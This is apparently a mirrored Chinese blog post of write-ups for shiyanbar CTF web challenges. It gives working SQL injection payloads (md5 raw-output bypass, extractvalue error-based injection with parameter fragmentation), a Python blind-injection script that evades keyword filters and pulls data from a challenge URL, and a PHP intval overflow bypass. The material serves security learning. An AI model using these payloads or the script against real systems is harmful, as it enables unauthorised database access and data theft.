zoukankan      html  css  js  c++  java
  • 实验吧web记录

    成长的痛苦,远比后悔的痛苦好。

    后台登录

    1.查看源码,发现以下内容

    <!--?php
    
    $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
    	if(mysqli_num_rows($result)-->0){
    		echo 'flag is :'.$flag;
    	}
    	else{
    		echo '密码错误!';
    	} 
    ?>
    
    

    2.刚开始想着直接万能语句来着,后来发现不行。mysql中的运算优先级为:not>and>or 万能语句绕不过的,这题主要考md5生成摘要构成语句注入。

    <!--?php
    //php进行MD5加密时生成不同长度的方法,有true则为16位
    echo "MD5加密ffifdyop生成的16字符消息摘要为---->"."".md5('ffifdyop', true)."","\n";
    echo "MD5加密ffifdyop生成的32字符消息摘要为-->"."".md5('ffifdyop')."","\n";
    ?>
    
    

    运行结果为:

    3.由结果可知,语句变为SELECT * FROM admin WHERE pass=' 'or '6<*****>' 其中<*****>不必管,条件即为真,所以可绕过。相当于select * from users where username='admin' and password=''or'6fsfdsgfdsgsdg';恒为真,如图


    加了料的报错注入

    1.查看源码

    // tips:post username and password...
     $sql="select * from users where username='$username' and password='$password'";  
    
    

    2.试了不少,还是没头绪,看writeup,发现又是一种新方式。实验吧的题很强啊(哭)

    3.有两种解法
    方法一:HPF(http parameter fragment)
    主要是用/**/构造语句注入,如下。

    看版本
    username=' and extractvalue/*&password=1*/(1,concat('~',(select version())))or'1
    
    查看数据库名 error_based_hpf
    username=' and extractvalue/*&password=1*/(1,concat('~',(select database())))or'1
    
    查表名 ffll44jj,users
    username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema regexp database())))or'1
    
    # 查列名 id,username,password
    # username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 'users')))or'1
    # 表名用16形式进制代替
    # #username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 0x7573657273)))or'1
    
    是这个 value(表ffll44jj的字段)
    username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 0x66666c6c34346a6a)))or'1
    
    查内容
    username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(value) from ffll44jj)))or'1
    flag{err0r_b4sed_sqli_+_hpf}
    
    

    方法二:exp()报错注入
    因为没有过滤exp()函数,所以可以利用。关于exp()溢出报错注入


    认真一点

    1.此题有很多坑,总结的话,最应该注意的还是注意每一个细节(有三种反馈信息)之前没管它,模糊测试后,试到怀疑人生。

    • You are in ................ 正常输入且成功
    • You are not in ............... 输入后不成功(在后台删去某些字符串)
    • Sql injection detected! 检测到并且过滤掉的字符串

    2.这个肯定是要盲注的,下面是代码。
    这里有一个需要注意的,请关掉代码格式自动调整,因为会自动加上空格导致跑不出来。

    3.这个题一个很坑的地方是有的字符串它直接去掉,然后显示的是You are not in ............... 所以构造时,需要双写绕过,比如or要写为oorr

    import requests
    import string
    
    str1 = 'You are in'
    url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
    allString = string.printable
    
    # 数据库长度
    # for i in range(1, 20):
    # 	key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
    # 	r = requests.post(url, data=key)
    # 	print(i)
    # 	if str1 in r.text:
    # 		print('数据库名长度为:', i)
    # 		break
    
    # 数据库名称 ctf_sql_bool_blind
    # 这里直接报内容,需要把长度设置合理一点,然后观察结果即可
    # database_name = ""
    # for i in range(1, 19):
    # 	for ch in allString:
    # 		key = {'id':"0'oorr(mid(database()from(%d)foorr(1))='%s')oorr'0" % (i,ch)}
    # 		# 太慢了,在这里加一个输出,好然自己了解运行情况和payload的内容
    # 		# print(key)
    # 		r = requests.post(url, data = key)
    # 		if str1 in r.text:
    # 			print('第%d个字符为:'%i,ch)
    # 			database_name += ch
    # 			break
    # 	print(database_name)
    
    
    # # 表名 fiag,users
    # tableName = ""
    # for i in range(1,20):
    # 	for ch in allString:
    # 		key1 = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%d)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%c')oorr'0"%(i, ch)
    # 		key2 = key1.replace(' ', chr(0x0a))
    # 		key = {'id':key2}
    # 		# print(key)
    # 		r = requests.post(url, data = key)
    # 		if str1 in r.text:
    # 			print('第%d个字符为:'%i,ch)
    # 			tableName += ch
    # 			break
    # 	print(tableName)
    
    
    # # 列名 fl$4g
    # columnName = ""
    # for i in range(1,20):
    # 	for ch in allString:
    # 		key1 = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%d)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%c')oorr'0"%(i, ch)
    # 		key2 = key1.replace(' ', chr(0x0a))
    # 		key = {'id':key2}
    # 		#print(key)
    # 		r = requests.post(url, data = key)
    # 		if str1 in r.text:
    # 			print('第%d个字符为:'%i,ch)
    # 			columnName += ch
    # 			break
    # 	print(columnName)
    
    # 内容
    # 这里空格打印不出来空格,会被转义为*
    flag = ""
    for i in range(1,20):
    	for ch in allString:
    		key1 = "0'oorr((select(mid((fl$4g)from(%d)foorr(1)))from(fiag))='%c')oorr'0"%(i, ch)    
    		key2 = key1.replace(' ', chr(0x0a))
    		key = {'id':key2}
    		print(key)
    		r = requests.post(url, data = key)
    		if str1 in r.text:
    			print('第%d个字符为:'%i,ch)
    			flag += ch
    			break
    	print(flag)
    
    

    你真的会php吗

    1.看到题目,八成是代码审计的题,看来又得慢慢查了。产看源码无果后,再看看响应头,发现有个txt文件。

    2.访问得到源码(下面的源码是自己添加注释后的,方便观看)

    <!--?php
    
    $info = ""; 
    $req = [];
    $flag="xxxxxxxxxx";
    
    ini_set("display_error", false); 
    error_reporting(0); 
    
    if(!isset($_POST['number'])){ //不传参数则会在响应头中有hint
       header("hint:6c525af454059b4fe7d8c33a.txt");
       die("have a fun!!"); 
    }
    
    foreach([$_POST] as $global_var) {
        foreach($global_var as $key =--> $value) { 
            $value = trim($value); //trim() 函数移除字符串两侧的空白字符或其他预定义字符
            // 注意:trim()并不能去除已经编码的空字符(如%00,%20)所以下面可以通过加上此内容绕过数字检验
            is_string($value) && $req[$key] = addslashes($value);
        } 
    } 
    
    function is_palindrome_number($number) { //判断输入的数是否是一个回文数
        $number = strval($number); //将数组及类之外的变量类型转换成字符串类型
        $i = 0; 
        $j = strlen($number) - 1; 
        while($i < $j) { 
            if($number[$i] !== $number[$j]) { 
                return false; 
            } 
            $i++; 
            $j--; 
        } 
        return true; 
    } 
    
    if(is_numeric($_REQUEST['number'])){ 
      //不能是数字
       $info="sorry, you cann't input a number!";
    
    }elseif($req['number']!=strval(intval($req['number']))){
        //输入的值要与其取整后相等,才能绕过此处。
         $info = "number must be equal to it's integer!! ";  
    
    }else{
         $value1 = intval($req["number"]);
         $value2 = intval(strrev($req["number"])); //strrev() 函数反转字符串 
    
         if($value1!=$value2){ //这里需要是回文数
              $info="no, this is not a palindrome number!";
         }else{
              //这里又不可以是回文数
              if(is_palindrome_number($req["number"])){
                  $info = "nice! {$value1} is a palindrome number!"; 
              }else{
                 $info=$flag;
              }
         }
    
    }
    
    echo $info;
    
    

    3.可以看到,此题有点变态,在这再进一步描述一下几个函数。
    (1)intval()函数:用于获取变量的整数值。语法为:int intval ( mixed $var [, int $base = 10 ] )

    • intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

    • 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

    • 最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -21474836482147483647

    • 64 位系统上,最大带符号的 integer 值是 9223372036854775807。

    • 字符串有可能返回 0,虽然取决于字符串最左侧的字符。

    (2)其他函数:其实大部分函数从字面上都可以看出其功能,主要是不清楚其是否存在可用的漏洞。这里主要利用了intval()函数存在的漏洞。

    4.解题方法

    方法一:利用intval溢出
    32位机最大值2^31-1=2147483647,反转后为7463847412,但是已经溢出,所以会自动变成2147483647,根据源码分析可知,number=2147483647%20可行。
    方法二:
    第二个思想可以直接使用-0%20,就不多说了,根据源码走一遍,加深理解。

    注:加上%20是因为输入不可为数值,而且intval()会自动忽略。

    5.任意提交上面一个,即可得出flag。

    感谢阅读,如有问题,请批评指正,谢谢。
  • 相关阅读:
    表详细操作
    库相关操作
    数据库一
    协程
    多线程2
    .Net鼠标随动窗口
    .Net操作音频
    .Net操作注册表--un
    .Net操作.exe文件
    .Net连接数据库(AOD.Net)
  • 原文地址:https://www.cnblogs.com/clwsec/p/15679897.html
Copyright © 2011-2022 走看看